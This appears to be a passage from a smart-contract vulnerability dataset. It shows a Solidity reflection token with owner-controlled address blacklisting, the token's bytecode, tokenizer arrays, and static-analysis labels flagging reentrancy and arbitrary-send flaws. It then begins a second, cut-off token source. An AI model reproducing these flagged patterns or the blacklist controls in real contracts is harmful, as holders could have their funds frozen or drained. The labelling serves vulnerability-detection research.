_approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _devFund); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _devFund); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf91461034b578063cba0e99614610360578063d00efb2f14610399578063d543dbeb146103af578063dd62ed3e146103cf578063e47d60601461041557600080fd5b80638da5cb5b146102a057806395d89b41146102c8578063a9059cbb146102f6578063b515566a14610316578063c3c8cd801461033657600080fd5b8063313ce567116100f2578063313ce5671461021a5780635932ead1146102365780636fc3eaec1461025657806370a082311461026b578063715018a61461028b57600080fd5b806306fdde031461013a578063095ea7b31461018257806318160ddd146101b257806323b872dd146101d8578063273123b7146101f857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c486f646c6f6e61757420496e7560981b60208201525b6040516101799190611bdf565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611a70565b61044e565b6040519015158152602001610179565b3480156101be57600080fd5b50683635c9adc5dea000005b604051908152602001610179565b3480156101e457600080fd5b506101a26101f3366004611a30565b610465565b34801561020457600080fd5b506102186102133660046119c0565b6104ce565b005b34801561022657600080fd5b5060405160098152602001610179565b34801561024257600080fd5b50610218610251366004611b62565b610522565b34801561026257600080fd5b5061021861056a565b34801561027757600080fd5b506101ca6102863660046119c0565b610597565b34801561029757600080fd5b506102186105b9565b3480156102ac57600080fd5b506000546040516001600160a01b039091168152602001610179565b3480156102d457600080fd5b50604080518082019091526005815264484f444c4f60d81b602082015261016c565b34801561030257600080fd5b506101a2610311366004611a70565b61062d565b34801561032257600080fd5b50610218610331366004611a9b565b61063a565b34801561034257600080fd5b506102186106de565b34801561035757600080fd5b50610218610714565b34801561036c57600080fd5b506101a261037b3660046119c0565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a557600080fd5b506101ca60125481565b3480156103bb57600080fd5b506102186103ca366004611b9a565b610adb565b3480156103db57600080fd5b506101ca6103ea3660046119f8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042157600080fd5b506101a26104303660046119c0565b6001600160a01b03166000908152600a602052604090205460ff1690565b600061045b338484610bae565b5060015b92915050565b6000610472848484610cd2565b6104c484336104bf85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d1565b610bae565b5060019392505050565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016104f890611c32565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461054c5760405162461bcd60e51b81526004016104f890611c32565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058a57600080fd5b476105948161120b565b50565b6001600160a01b03811660009081526002602052604081205461045f906112e2565b6000546001600160a01b031633146105e35760405162461bcd60e51b81526004016104f890611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045b338484610cd2565b6000546001600160a01b031633146106645760405162461bcd60e51b81526004016104f890611c32565b60005b81518110156106da576001600a600084848151811061069657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d281611d45565b915050610667565b5050565b600c546001600160a01b0316336001600160a01b0316146106fe57600080fd5b600061070930610597565b905061059481611366565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104f890611c32565b601054600160a01b900460ff16156107985760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f8565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d53082683635c9adc5dea00000610bae565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080e57600080fd5b505afa158015610822573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084691906119dc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088e57600080fd5b505afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c691906119dc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094691906119dc565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061097681610597565b60008061098b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a279190611bb2565b505060108054678ac7230489e800006011554360125563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa357600080fd5b505af1158015610ab7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da9190611b7e565b6000546001600160a01b03163314610b055760405162461bcd60e51b81526004016104f890611c32565b60008111610b555760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104f8565b610b736064610b6d683635c9adc5dea000008461150b565b9061158a565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f8565b6001600160a01b038216610c715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f8565b6001600160a01b038216610d985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f8565b60008111610dfa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f8565b6000546001600160a01b03848116911614801590610e2657506000546001600160a01b03838116911614155b1561117457601054600160b81b900460ff1615610f0d576001600160a01b0383163014801590610e5f57506001600160a01b0382163014155b8015610e795750600f546001600160a01b03848116911614155b8015610e935750600f546001600160a01b03838116911614155b15610f0d57600f546001600160a01b0316336001600160a01b03161480610ecd57506010546001600160a01b0316336001600160a01b0316145b610f0d5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104f8565b601154811115610f1c57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f5e57506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f7a5750336000908152600a602052604090205460ff16155b610f8357600080fd5b6010546001600160a01b038481169116148015610fae5750600f546001600160a01b03838116911614155b8015610fd357506001600160a01b03821660009081526005602052604090205460ff16155b8015610fe85750601054600160b81b900460ff165b15611036576001600160a01b0382166000908152600b6020526040902054421161101157600080fd5b61101c426014611cd7565b6001600160a01b0383166000908152600b60205260409020555b601254611044906002611cd7565b4311158015611054575060115481145b15611107576010546001600160a01b038481169116148015906110855750600f546001600160a01b03848116911614155b156110b2576001600160a01b0383166000908152600a60205260409020805460ff19166001179055611107565b6010546001600160a01b038381169116148015906110de5750600f546001600160a01b03838116911614155b15611107576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b600061111230610597565b601054909150600160a81b900460ff1615801561113d57506010546001600160a01b03858116911614155b80156111525750601054600160b01b900460ff165b156111725761116081611366565b478015611170576111704761120b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b657506001600160a01b03831660009081526005602052604090205460ff165b156111bf575060005b6111cb848484846115cc565b50505050565b600081848411156111f55760405162461bcd60e51b81526004016104f89190611bdf565b5060006112028486611d2e565b95945050505050565b600c546001600160a01b03166108fc61122a600a610b6d85600461150b565b6040518115909202916000818181858888f19350505050158015611252573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611272600a610b6d85600461150b565b6040518115909202916000818181858888f1935050505015801561129a573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112ba600a610b6d85600261150b565b6040518115909202916000818181858888f193505050501580156106da573d6000803e3d6000fd5b60006006548211156113495760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f8565b60006113536115f8565b905061135f838261158a565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113bc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141057600080fd5b505afa158015611424573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144891906119dc565b8160018151811061146957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461148f9130911684610bae565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c8908590600090869030904290600401611c67565b600060405180830381600087803b1580156114e257600080fd5b505af11580156114f6573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261151a5750600061045f565b60006115268385611d0f565b9050826115338583611cef565b1461135f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f8565b600061135f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161b565b806115d9576115d9611649565b6115e484848461166c565b806111cb576111cb6002600855600a600955565b6000806000611605611763565b9092509050611614828261158a565b9250505090565b6000818361163c5760405162461bcd60e51b81526004016104f89190611bdf565b5060006112028486611cef565b6008541580156116595750600954155b1561166057565b60006008819055600955565b60008060008060008061167e876117a5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116b09087611802565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116df9086611844565b6001600160a01b038916600090815260026020526040902055611701816118a3565b61170b84836118ed565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061177f828261158a565b82101561179c57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117c28a600854600954611911565b92509250925060006117d26115f8565b905060008060006117e58e878787611960565b919e509c509a509598509396509194505050505091939550919395565b600061135f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d1565b6000806118518385611cd7565b90508381101561135f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f8565b60006118ad6115f8565b905060006118bb838361150b565b306000908152600260205260409020549091506118d89082611844565b30600090815260026020526040902055505050565b6006546118fa9083611802565b60065560075461190a9082611844565b6007555050565b60008080806119256064610b6d898961150b565b905060006119386064610b6d8a8961150b565b905060006119508261194a8b86611802565b90611802565b9992985090965090945050505050565b600080808061196f888661150b565b9050600061197d888761150b565b9050600061198b888861150b565b9050600061199d8261194a8686611802565b939b939a50919850919650505050505050565b80356119bb81611d8c565b919050565b6000602082840312156119d1578081fd5b813561135f81611d8c565b6000602082840312156119ed578081fd5b815161135f81611d8c565b60008060408385031215611a0a578081fd5b8235611a1581611d8c565b91506020830135611a2581611d8c565b809150509250929050565b600080600060608486031215611a44578081fd5b8335611a4f81611d8c565b92506020840135611a5f81611d8c565b929592945050506040919091013590565b60008060408385031215611a82578182fd5b8235611a8d81611d8c565b946020939093013593505050565b60006020808385031215611aad578182fd5b823567ffffffffffffffff80821115611ac4578384fd5b818501915085601f830112611ad7578384fd5b813581811115611ae957611ae9611d76565b8060051b604051601f19603f83011681018181108582111715611b0e57611b0e611d76565b604052828152858101935084860182860187018a1015611b2c578788fd5b8795505b83861015611b5557611b41816119b0565b855260019590950194938601938601611b30565b5098975050505050505050565b600060208284031215611b73578081fd5b813561135f81611da1565b600060208284031215611b8f578081fd5b815161135f81611da1565b600060208284031215611bab578081fd5b5035919050565b600080600060608486031215611bc6578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c0b57858101830151858201604001528201611bef565b81811115611c1c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb65784516001600160a01b031683529383019391830191600101611c91565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cea57611cea611d60565b500190565b600082611d0a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2957611d29611d60565b500290565b600082821015611d4057611d40611d60565b500390565b6000600019821415611d5957611d59611d60565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059457600080fd5b801515811461059457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201fea67341ed952f6c69b5afb0a08db2d275648aa8aa0f7d54b348dd30e890ee764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 17134, 2683, 2094, 24594, 19736, 2620, 19317, 2546, 2094, 12376, 2475, 4246, 28154, 2683, 2683, 3207, 22932, 23777, 23632, 2063, 24087, 23833, 12521, 1013, 1008, 7570, 19422, 7856, 4904, 1999, 2226, 1024, 1002, 7570, 19422, 2080, 1056, 2290, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 7570, 19422, 7856, 21823, 11231, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,621
0x9713a81dc86c1be769ce15d2dc7e16a42b0dea63
// hevm: flattened sources of src/CRATERtoken.sol // SPDX-License-Identifier: MIT pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; ////// lib/openzeppelin-contracts/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) /* pragma solidity ^0.8.0; */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } ////// lib/openzeppelin-contracts/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) /* pragma solidity ^0.8.0; */ /* import "../utils/Context.sol"; */ /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) /* pragma solidity ^0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) /* pragma solidity ^0.8.0; */ /* import "../IERC20.sol"; */ /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) /* pragma solidity ^0.8.0; */ /* import "./IERC20.sol"; */ /* import "./extensions/IERC20Metadata.sol"; */ /* import "../../utils/Context.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); 